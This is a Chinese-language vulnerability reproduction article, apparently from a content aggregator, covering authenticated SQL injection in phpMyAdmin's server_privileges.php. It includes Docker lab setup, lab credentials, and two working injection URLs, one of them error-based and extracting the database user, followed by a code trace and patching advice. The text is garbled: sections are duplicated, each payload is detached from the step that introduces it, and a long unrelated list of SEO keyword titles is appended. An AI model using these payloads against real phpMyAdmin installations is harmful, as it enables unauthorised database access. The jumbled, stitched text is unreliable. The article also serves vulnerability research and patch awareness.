如何进行phpMyAdmin后台SQL注入
发表于:2025-02-04 作者:千家信息网编辑
千家信息网最后更新 2025年02月04日,如何进行phpMyAdmin后台SQL注入,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。0x01 简介phpMyAdmin 是一个以PH
千家信息网最后更新 2025年02月04日如何进行phpMyAdmin后台SQL注入0x01 简介 phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。 0x02 漏洞概述
0x03 影响版本 前提:已知一个用户名密码 phpMyAdmin 4 < 4.9.4 phpMyAdmin 5 < 5.0.1 在线环境:
转发本文至朋友圈并截图发至公众号内
自行搭建:
本次复现环境使用PhpMyAdmin4.5.0版本,使用docker搭建。
访问页面http://xx.xx.xx.xx:8001
数据库账号密码root/li9hu 环境搭建好了,可以开始进行漏洞复现了 简单总结流程: 页面位置server_privileges.php; 设置变量ajax_requests为true; 设置变量validate_username 为真值; 设置变量username 为我们拼接的注入语句。
构造payload: (token和其余参数会在访问页面的时候自动提供) 我们查看后端收到的数据,可以看到SQL已经成功拼接。 执行完毕后程序只会告知SQL是否执行成功,失败会报错,因此此处我们可以利用报错注入。
构造payload: 结果如下,可以看到已经成功执行了我们注入的指令。 0x06 漏洞分析 定位到文件libraries/server_privileges.lib.php,此处就是SQL注入存在点,username和validate_username都可控,我们往上回溯定位if所在的函数。 可以看到if处于PMA_getExtraDataForAjaxBehavior函数内。下一步使用phpsotorm快捷键ctrl+B定位到触发此函数的点。 跳转到文件server_privileges.php可以看到$extra_data触发了此函数,处于一个if内,下一步快捷键ctrl+shift+F全局搜索变量is_ajax_request,看看是否可控让其为真值。 跳转到文件libraries/common.inc.php这里有可控变量ajax_request只要给它附true就可以返回true了。
如何进行phpMyAdmin后台SQL注入,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。
用户界面SQL执行语句存在可控变量,且未对可控参数进行过滤直接拼接。可造成低权限用户越权执行SQL指令。
0x04 环境搭建
转发本文至朋友圈并截图发至公众号内
自行搭建:
本次复现环境使用PhpMyAdmin4.5.0版本,使用docker搭建。
git clone https://github.com/Paper-Pen/TLSHUB.gitcd TLSHUB/phpAdmin/docker-compose up -ddocker ps
数据库账号密码root/li9hu
0x05 漏洞复现
http://192.168.209.139:8001/server_privileges.php?ajax_requests=true&validate_username=1&username=1%27or%201=1%20--+db=&token=c2064a8c5f437da931fa01de5aec6581&viewing_mode=server
http://192.168.209.139:8001/server_privileges.php?ajax_request=true&validate_username=1&username=1%27and%20extractvalue(1,concat(0x7e,(select%20user()),0x7e))--+db=&token=c2064a8c5f437da931fa01de5aec6581&viewing_mode=server
0x07 修复方式
更新官方最新补丁
看完上述内容,你们掌握如何进行phpMyAdmin后台SQL注入的方法了吗?如果还想学到更多技能或想了解更多相关内容,欢迎关注行业资讯频道,感谢各位的阅读!
变量
函数
数据
漏洞
环境
成功
数据库
文件
方式
用户
页面
定位
管理
后台
内容
参数
密码
快捷键
指令
接口
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
服务器设置gk是什么意思
新中大a33服务器更改ip
因特网包容多种物理网络技术
数据库字符串验证
到底有没有中国网络安全
战地5自己创服日本服务器怎么选
数据库查找top
江西地区服务器是哪里的云空间
嵌入式软件开发面试问题
网络安全无小事100例
年度人社网络安全工作要点
VS2017建立数据库重名
个人博客中数据库时序图
数据库的物理模型文件
西安pc端软件开发公司
护苗网络安全文字内容
宝山区通信网络技术售后保障
服务器换假内存条
微信辅助软件开发
网络安全公司查人
怎么获取服务器时间
福建服务器虚拟化哪家好
网络安全服务研究综述
个人博客中数据库时序图
北京现代少儿编程平台软件开发
福建ios应用软件开发
软件开发的技术可行性研究应该在
软件开发的项目目标
软件开发学习心得体会
女生26岁学网络安全好学吗